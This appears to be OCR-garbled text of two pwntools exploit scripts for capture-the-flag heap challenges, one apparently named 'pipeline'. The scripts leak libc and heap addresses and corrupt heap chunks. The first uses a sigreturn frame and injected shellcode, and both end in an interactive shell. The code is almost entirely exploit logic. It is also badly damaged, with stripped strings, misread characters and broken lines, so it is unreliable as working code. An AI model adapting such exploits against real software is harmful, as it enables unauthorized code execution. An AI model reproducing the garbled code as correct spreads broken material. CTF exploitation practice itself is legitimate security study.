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from pwn import
from z3 import

def decode(addr):

al=BitVec( , 33)

a=al

for i in (2):
iteml (32 * al) & exffffffff
al iteml ~ (((al ~ iteml) 17) & oxffffffff) (((iteml ~ al ~ (((al ~ iteml) 17) & oxffffffff))

13) & oxffffffff)

s=Solver()

s.add(al==addr)

s.check()

result=s.model()

return result[a].as_long()

get_addr(fake_addr):
true_addr=decode(fake_addr)

return true_addr

add(size):
sh.recvuntil(
sh.sendline( )
sh.recvuntil(




sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))

edit(idx, content):
sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))
sh.recvuntil(

sh.send(content)

show(idx):
sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))

stop():
print (proc.pidof(sh))
pause()

pwn():

[add(@x200) for i in (8)]
add(0x20)
[add(@x50) for i in (6)]
for i in (8):

delete(i)
delete(10)
delete(12)
add(0x20)
show(9)
low_addr (sh.recvuntil( ).split( )y[@], 16)
high_addr (sh.recvuntil( ).split( )[@], 16)
low_addr=get_addr(low_addr)
high_addr=get_addr(high_addr)
leak_libc=high_addr*0x100000000+1low_addr
log.success( (leak_libc))
main_arena=leak_libc-0x260
libc_base=main_arena-0x3ebc40
log.success( (main_arena))

log.success( (libc_base))

[add(0x50) for i in (7)1

[add(@6x50) for i in (2)]

for i in (7):
delete(1+1)

delete(10)

delete(12)

[add(©x50) for i in

add(0x50)

show(10)




high addr (sh.recvuntil( ).split( )y[@], 16)
low_addr=get_addr(low_addr)

high addr=get_addr(high_addr)

heap_base=high addr*0x100000000+1ow_addr-0x2250

log.success( (GQEECEN)))

for i in (12):
delete(i)

delete(13)

add(oxf8)

add(oxf8)

add(oxf8)

add(oxf8)

add(0x100)

add(0x99)

[add(@xf8) for i in

add(0x90)

for i in (7):
delete(6+1i)

edit(3, oxf8)

edit(3, Oxf0+p64(0x200))
edit(4, Oxf0+p64(0)+p64(0x21))
edit(5, p64(0)+p64(8x91))
target=heap_base+0x2510

edit(2, Oxf0+p64(0x100))

edit(2, pb64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))

delete(4)

add(oxf8)

add(ox1f0)

delete(3)
payloadl=p64(0)*0x1f+p64(0x101)+p64(libc_base+libc.sym|[
edit(6, payloadl)

frame=SigreturnFrame()
frame.rsp=heap_base+0x2320
frame.rbp=heap_base+0x2320+0x10
frame.rip=1ibc_base+libc.sym[
frame.rdi=heap_base
frame.rsi=0x10000

frame.rdx=0x7

jmp_addr=0x76f5b

shellcode




shellcode=asm(shellcode)

print ( (frame))

add(oxf8)

edit(3, (frame))

add (oxf8)

edit(7, p64(libc_base+libc.sym[ 1+53))

edit(@, p64(libc_base+jmp_addr)+p64(0)+p64(heap_base+0x2320+0x20)+p64(0)+shellcode)
gdb.attach(sh, )

delete(3)

sh.interactive()

pwn ()

20215 M pipeline:

from pwn import

libc=elf.libc
context.log level

def new():
sh.recvuntil(
sh.sendline(

def edit(idx, offset, size):
sh.recvuntil( )
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))
sh.recvuntil( )
sh.sendline( (offset))
sh.recvuntil( )
sh.sendline( (size))

def destroy(idx):
sh.recvuntil(
sh.sendline(

sh.recvuntil(




def append(idx, size, content):

sh.recvuntil( )
sh.sendline(

sh.recvuntil(

sh.sendline( (idx))
sh.recvuntil( )
sh.sendline( (size))
sh.recvuntil( )

sh.sendline(content)

show(idx):
sh.recvuntil(
sh.sendline(
sh.recvuntil(
sh.sendline( (idx))

stop():
print (proc.pidof(sh))
pause()

pwn() :

[new() for i in (2)]

edit(1, 48, 0x800)

new()

edit(1, 48, 0)

new()

edit(3, 0, 0x200)

append(3, 8, 8)

M ED)

sh.recvuntil( 8)
leak_libc=u64(sh.recv(6).1just(8, ))
main_arena=leak_libc-0x60

log.success( (main_arena))
libc_base=main_arena-0x1ebb80

log.success( (libc_base))

edit(3, @, 0x700)

new()

edit(4, 0Xx600)

new()

edit(3, 0, 0)

edit(4, 0, 0)

edit(5, @, 0x700)

append(5, 8, 8)

show(5)

sh.recvuntil( 8)
leak_heap=u64(sh.recv(6).1just(8, ))
heap_base=1leak_heap-0xb40

log.success( (heap_base))
new()

edit(6, @, 0x50)

new()

edit(7, @, 0x50)

append(6, oxffffleee0, 2*5+p64(0)+p64(0x21)+p64(libc_base+libc.sym[
append(7, oxffff1eee, p64(libc_base+libc.sym[ 1))
edit(6, 0, 9)

sh.interactive()
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